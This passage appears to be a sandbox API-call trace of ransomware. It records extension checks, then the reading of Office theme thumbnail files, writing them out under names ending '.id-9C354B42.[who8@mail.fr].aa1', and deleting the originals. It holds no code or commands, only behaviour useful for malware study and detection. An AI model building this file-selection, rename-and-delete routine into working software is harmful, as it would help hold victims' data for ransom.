(lpString=".7z") returned 3 [0223.186] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0223.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0223.186] lstrlenW (lpString=".dbf") returned 4 [0223.186] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0223.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0223.186] lstrlenW (lpString=".1cd") returned 4 [0223.186] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0223.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0223.186] lstrlenW (lpString=".jpg") returned 4 [0223.186] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0223.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0223.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0223.186] lstrlenW (lpString=".doc") returned 4 [0223.186] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0223.186] lstrlenW (lpString=".docx") returned 5 [0223.186] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0223.187] lstrlenW (lpString=".pdf") returned 4 [0223.187] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0223.187] lstrlenW (lpString=".xls") returned 4 [0223.187] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0223.187] lstrlenW (lpString=".xlsx") returned 5 [0223.187] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0223.187] lstrlenW (lpString=".ppt") returned 4 [0223.187] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0223.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0223.187] lstrlenW (lpString=".zip") returned 4 [0223.187] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0223.187] lstrlenW (lpString=".rar") returned 4 [0223.187] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0223.187] lstrlenW (lpString=".bz2") returned 4 [0223.187] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0223.187] lstrlenW (lpString=".7z") returned 3 [0223.187] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0223.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0223.187] lstrlenW (lpString=".dbf") returned 4 [0223.187] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0223.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0223.187] lstrlenW (lpString=".1cd") returned 4 [0223.187] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0223.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0223.187] lstrlenW (lpString=".jpg") returned 4 [0223.187] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0223.188] lstrcmpiW (lpString1=".PNG", lpString2=".aa1") returned 1 [0223.188] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0223.188] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0223.188] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x239ff1c | out: lpFileSize=0x239ff1c*=37440) returned 1 [0223.188] CloseHandle (hObject=0x178) returned 1 [0223.188] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png")) returned 0x20 [0223.188] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0223.188] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0223.188] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0223.189] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0223.189] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0223.189] GetLastError () returned 0x0 [0223.189] ReadFile (in: hFile=0x178, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x9240, lpOverlapped=0x0) returned 1 [0223.884] WriteFile (in: hFile=0x188, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x9250, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0x9250, lpOverlapped=0x0) returned 1 [0223.885] ReadFile (in: hFile=0x178, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x0, lpOverlapped=0x0) returned 1 [0223.885] WriteFile (in: hFile=0x188, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0xec, lpOverlapped=0x0) returned 1 [0223.886] SetEndOfFile (hFile=0x188) returned 1 [0223.886] CloseHandle (hObject=0x188) returned 1 [0223.886] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0223.886] SetEndOfFile (hFile=0x178) returned 1 [0223.887] CloseHandle (hObject=0x178) returned 1 [0223.887] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0223.889] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png")) returned 1 [0223.890] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0223.890] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0223.890] lstrlenW (lpString=".doc") returned 4 [0223.890] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0223.890] lstrlenW (lpString=".docx") returned 5 [0223.890] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0223.890] lstrlenW (lpString=".pdf") returned 4 [0223.890] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0223.890] lstrlenW (lpString=".xls") returned 4 [0223.890] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0223.890] lstrlenW (lpString=".xlsx") returned 5 [0223.890] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0223.890] lstrlenW (lpString=".ppt") returned 4 [0223.890] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0223.890] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0223.890] lstrlenW (lpString=".zip") returned 4 [0223.890] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0223.890] lstrlenW (lpString=".rar") returned 4 [0223.890] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0223.890] lstrlenW (lpString=".bz2") returned 4 [0223.890] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0223.890] lstrlenW (lpString=".7z") returned 3 [0223.890] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0223.890] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0223.890] lstrlenW (lpString=".dbf") returned 4 [0223.890] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0223.890] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0223.890] lstrlenW (lpString=".1cd") returned 4 [0223.890] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0223.891] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0223.891] lstrlenW (lpString=".jpg") returned 4 [0223.891] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0223.891] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0223.891] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0223.891] lstrlenW (lpString=".doc") returned 4 [0223.891] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0223.891] lstrlenW (lpString=".docx") returned 5 [0223.891] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0223.891] lstrlenW (lpString=".pdf") returned 4 [0223.891] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0223.891] lstrlenW (lpString=".xls") returned 4 [0223.891] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0223.891] lstrlenW (lpString=".xlsx") returned 5 [0223.891] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0223.891] lstrlenW (lpString=".ppt") returned 4 [0223.891] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0223.891] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0223.891] lstrlenW (lpString=".zip") returned 4 [0223.891] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0223.891] lstrlenW (lpString=".rar") returned 4 [0223.891] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0223.891] lstrlenW (lpString=".bz2") returned 4 [0223.891] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0223.891] lstrlenW (lpString=".7z") returned 3 [0223.891] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0223.891] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0223.891] lstrlenW (lpString=".dbf") returned 4 [0223.891] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0223.892] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0223.892] lstrlenW (lpString=".1cd") returned 4 [0223.892] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0223.892] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0223.892] lstrlenW (lpString=".jpg") returned 4 [0223.892] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0224.150] lstrcmpiW (lpString1=".PNG", lpString2=".aa1") returned 1 [0224.150] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0224.150] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0224.150] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x239ff1c | out: lpFileSize=0x239ff1c*=19563) returned 1 [0224.150] CloseHandle (hObject=0x208) returned 1 [0224.150] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png")) returned 0x20 [0224.151] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0224.151] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0224.151] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.151] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.151] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0224.151] GetLastError () returned 0x0 [0224.151] ReadFile (in: hFile=0x208, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x4c6b, lpOverlapped=0x0) returned 1 [0224.180] WriteFile (in: hFile=0x224, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x4c70, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0x4c70, lpOverlapped=0x0) returned 1 [0224.181] ReadFile (in: hFile=0x208, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x0, lpOverlapped=0x0) returned 1 [0224.181] WriteFile (in: hFile=0x224, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0xec, lpOverlapped=0x0) returned 1 [0224.181] SetEndOfFile (hFile=0x224) returned 1 [0224.182] CloseHandle (hObject=0x224) returned 1 [0224.182] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.182] SetEndOfFile (hFile=0x208) returned 1 [0224.182] CloseHandle (hObject=0x208) returned 1 [0224.183] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0224.183] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png")) returned 1 [0224.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0224.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0224.183] lstrlenW (lpString=".doc") returned 4 [0224.183] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0224.183] lstrlenW (lpString=".docx") returned 5 [0224.183] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0224.183] lstrlenW (lpString=".pdf") returned 4 [0224.183] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0224.183] lstrlenW (lpString=".xls") returned 4 [0224.183] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0224.183] lstrlenW (lpString=".xlsx") returned 5 [0224.183] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0224.183] lstrlenW (lpString=".ppt") returned 4 [0224.183] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0224.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0224.183] lstrlenW (lpString=".zip") returned 4 [0224.183] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0224.183] lstrlenW (lpString=".rar") returned 4 [0224.183] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0224.183] lstrlenW (lpString=".bz2") returned 4 [0224.183] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0224.184] lstrlenW (lpString=".7z") returned 3 [0224.184] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0224.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0224.184] lstrlenW (lpString=".dbf") returned 4 [0224.184] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0224.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0224.184] lstrlenW (lpString=".1cd") returned 4 [0224.184] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0224.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0224.184] lstrlenW (lpString=".jpg") returned 4 [0224.184] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0224.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0224.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0224.184] lstrlenW (lpString=".doc") returned 4 [0224.184] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0224.184] lstrlenW (lpString=".docx") returned 5 [0224.184] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0224.184] lstrlenW (lpString=".pdf") returned 4 [0224.184] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0224.184] lstrlenW (lpString=".xls") returned 4 [0224.184] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0224.184] lstrlenW (lpString=".xlsx") returned 5 [0224.184] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0224.184] lstrlenW (lpString=".ppt") returned 4 [0224.184] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0224.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0224.184] lstrlenW (lpString=".zip") returned 4 [0224.184] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0224.184] lstrlenW (lpString=".rar") returned 4 [0224.184] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0224.184] lstrlenW (lpString=".bz2") returned 4 [0224.184] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0224.184] lstrlenW (lpString=".7z") returned 3 [0224.184] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0224.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0224.185] lstrlenW (lpString=".dbf") returned 4 [0224.185] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0224.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0224.185] lstrlenW (lpString=".1cd") returned 4 [0224.185] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0224.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0224.185] lstrlenW (lpString=".jpg") returned 4 [0224.185] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0224.185] lstrcmpiW (lpString1=".PNG", lpString2=".aa1") returned 1 [0224.185] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0224.185] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0224.189] GetFileSizeEx (in: hFile=0x224, lpFileSize=0x239ff1c | out: lpFileSize=0x239ff1c*=31975) returned 1 [0224.189] CloseHandle (hObject=0x224) returned 1 [0224.189] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png")) returned 0x20 [0224.189] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0224.189] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0224.189] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.189] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.190] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0224.192] GetLastError () returned 0x0 [0224.192] ReadFile (in: hFile=0x224, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x7ce7, lpOverlapped=0x0) returned 1 [0224.261] WriteFile (in: hFile=0x1fc, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x7cf0, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0x7cf0, lpOverlapped=0x0) returned 1 [0224.262] ReadFile (in: hFile=0x224, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x0, lpOverlapped=0x0) returned 1 [0224.262] WriteFile (in: hFile=0x1fc, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0xec, lpOverlapped=0x0) returned 1 [0224.262] SetEndOfFile (hFile=0x1fc) returned 1 [0224.262] CloseHandle (hObject=0x1fc) returned 1 [0224.262] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.263] SetEndOfFile (hFile=0x224) returned 1 [0224.264] CloseHandle (hObject=0x224) returned 1 [0224.264] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0224.264] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png")) returned 1 [0224.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0224.275] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0224.277] lstrlenW (lpString=".doc") returned 4 [0224.277] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0224.277] lstrlenW (lpString=".docx") returned 5 [0224.277] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0224.277] lstrlenW (lpString=".pdf") returned 4 [0224.277] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0224.277] lstrlenW (lpString=".xls") returned 4 [0224.277] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0224.277] lstrlenW (lpString=".xlsx") returned 5 [0224.277] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0224.277] lstrlenW (lpString=".ppt") returned 4 [0224.277] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0224.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0224.277] lstrlenW (lpString=".zip") returned 4 [0224.277] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0224.277] lstrlenW (lpString=".rar") returned 4 [0224.278] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0224.278] lstrlenW (lpString=".bz2") returned 4 [0224.278] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0224.278] lstrlenW 